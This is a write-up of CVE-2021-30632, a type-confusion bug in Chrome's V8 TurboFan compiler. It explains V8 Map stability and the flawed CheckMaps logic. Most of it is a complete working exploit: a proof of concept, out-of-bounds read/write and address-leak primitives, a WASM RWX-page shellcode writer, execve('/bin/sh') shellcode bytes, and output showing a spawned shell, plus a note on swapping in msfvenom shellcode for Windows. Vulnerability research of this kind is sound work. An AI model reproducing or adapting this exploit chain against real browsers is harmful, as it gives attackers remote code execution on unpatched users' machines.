Tested versions: Chrome 91, 92, 93.0.4577.63
Demo
The original PoC popped a calculator; here the shellcode has been swapped out with msfvenom to run cmd.exe instead:


The V8 Map concept
In V8, a Map plays two roles:
- It holds the object's memory layout information.
- It powers the inline cache (IC) that speeds up property access.
Objects with the same property layout and types share the same Map.
d8> o1 = {a: 1};
d8> o2 = {a: 10000}; // shares the same MapA as o1
d8> %DebugPrint(o1);
// map: 0x2a58082c7aa1 <Map(HOLEY_ELEMENTS)> - stable_map
d8> %DebugPrint(o2);
// map: 0x2a58082c7aa1 <Map(HOLEY_ELEMENTS)> - stable_map
// same address: same MapAdding o2.b = 1 creates a new MapB and adds a transition to MapA:
0x2a58082c7aa1: [Map]
- transitions #1: 0x2a58082c7ac9 <Map(HOLEY_ELEMENTS)>
#b: (transition to const data field) -> 0x2a58082c7ac9This process is called Map Transitions.
Map stability
- stable_map: a state where there are no transitions, or the Map can only change through reassignment.
- unstable: when a new transition has been added — the moment a transition is attached to an existing Map (MapA), it becomes unstable.
When TurboFan generates optimized code, it uses this stability to decide whether to insert a CheckMap check.
There are two cases in which a Map on a global variable or object property changes:
- Reassignment: when the variable/property is replaced with a new object. In this case the original Map's stability is preserved as-is.
- In-place change: when a property is added without reassignment. In this case a new transition is added, or it is already unstable, so the original Map (MapA) becomes unstable.
The vulnerability (CVE-2021-30632)
Root cause
When TurboFan compiles code that stores to a kConstantType global property, it inserts CheckMaps instead of DependOnStableMap if the Map is unstable. But if a function is optimized while the Map is already unstable, then even after the Map later changes, the optimized code is not deoptimized.
case PropertyCellType::kConstantType: {
dependencies()->DependOnGlobalProperty(property_cell); // 1. register dependency
if (property_cell_value.IsHeapObject()) {
MapRef property_cell_value_map = property_cell_value.AsHeapObject().map();
if (property_cell_value_map.is_stable()) {
dependencies()->DependOnStableMap(property_cell_value_map);
// stable -> auto-deopt when the Map changes
} else {
// unstable -> insert CheckMaps
}
effect = graph()->NewNode(
simplified()->CheckMaps(...), // 2. insert Map check
value, effect, control);
}
}The problem: if global variable x's Map is unstable at the moment the store function is optimized, then even after x.newProp = 1 changes the Map, the optimized store still assumes the old Map. If the load function is then optimized, it assumes x has the new Map, and calling store(oldObj) triggers a type confusion.
PoC
function store(y) { x = y; }
function load() { return x.b; }
var x = {a: 1};
var x1 = {a: 2};
var x2 = {a: 3};
var x3 = {a: 4};
store(x1);
%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1; // x1's Map changes to MapB (MapA is unstable)
%OptimizeFunctionOnNextCall(store);
store(x2); // store gets optimized -- at this point x's Map is unstable (MapA)
x.b = 1; // change x's Map to MapB
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load(); // load optimized: assumes x is MapB
store(x3); // x = x3 (MapA) -- the optimized store passes CheckMaps
%DebugPrint(load()); // load assumes x is MapB -> type confusionExploitation
Overall flow
- Create an RWX region via WASM
- Obtain an OOB read/write primitive through the type confusion
- Get the WASM instance address -> the RWX page address
- Copy shellcode into the RWX page -> execute
Step 1: WASM RWX region
var code = new Uint8Array([
0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,
5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,
128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,
105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,
65,42,11
]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;
// the WASM instance internally keeps its JIT-compiled code in an RWX pageStep 2: setting up the type confusion
Initially all of the arrays below share the same Map (HOLEY_SMI_ELEMENTS). The idea is to optimize the foo function and then pass in an object whose Map has changed, making the optimized function assume the wrong type.
var arr0 = new Array(10); arr0.fill(1); arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2); arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1); // transition from arr.a property
var writeArr = [1.1]; // transition from b (PACKED_DOUBLE_ELEMENTS)
function foo(y) { x = y; }
function oobRead() { return [x[20], x[24]]; }
function oobWrite(a) { x[24] = a; }
// inserting arr2[0] = 1.1 makes arr1's Map unstable, then optimize foo
for (let i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;
foo(arr1);
}
x[0] = 1.1; // arr1 -> FixedDoubleArray, Map is stable
for (let i = 0; i < 20000; i++) oobRead();
for (let i = 0; i < 20000; i++) oobWrite(1.1);
foo(arr); // triggers type confusion: x is now arr (HOLEY_SMI_ELEMENTS)
// but the optimized oobRead/oobWrite assume x is FixedDoubleArrayThrough these loop iterations oobRead and oobWrite also get optimized, and calling foo(arr) afterwards assigns an array of a different type to x, enabling OOB access.
Step 3: implementing the primitives
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
b[0] = instance;
var addrs = oobRead(); // [address of b[0], address of writeArr.elements]
function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}
function i32tof(i1, i2) {
intView[0] = i1; intView[1] = i2;
return dblArr[0];
}
function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}
function addrOf(obj) {
b[0] = obj;
dblArr[0] = oobRead()[0];
return intView[1];
}
function arbRead(addr) {
let [elements, addr1] = ftoi32(addrs[1]);
oobWrite(i32tof(addr, addr1));
return writeArr[0];
}addrOf places the target object in b[0] and leaks its address as a float via the OOB read. arbRead swaps writeArr's elements pointer to the desired address to read the value at that location.
Step 4: reaching the RWX page and executing shellcode
function writeShellCode(rwxAddr, shellArr) {
var intArr = new Uint8Array(400);
var intArrAddr = addrOf(intArr);
let [elements, addr1] = ftoi32(addrs[1]);
oobWrite(i32tof(intArrAddr + 0x20, addr1));
writeArr[0] = rwxAddr;
for (let i = 0; i < shellArr.length; i++) intArr[i] = shellArr[i];
}
var instanceAddr = addrOf(instance);
var rwxAddr = arbRead(instanceAddr + 0x60); // WASM JIT RWX page
// Linux execve("/bin/sh") syscall shellcode
var shellCode = [
0x31,0xf6,0x31,0xd2,0x31,0xc0,
0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,
0x56,0x53,0x54,0x5f,
0xb8,0x3b,0x00,0x00,0x00,
0x0f,0x05
];
writeShellCode(rwxAddr, shellCode);
main();writeShellCode swaps the Uint8Array backing-store pointer to the RWX page address, so writing bytes into the array writes the shellcode directly into the RWX region.
Execution result
./d8 poc.js
instance: 81d42dd
elements: 804bcb1
rwx page address: 1c3124f08000
intArray addr: 81074d9
intBackingStore: 5599f2fb25e0
$
To run it on Windows, just swap in Windows-specific shellcode (generated by msfvenom).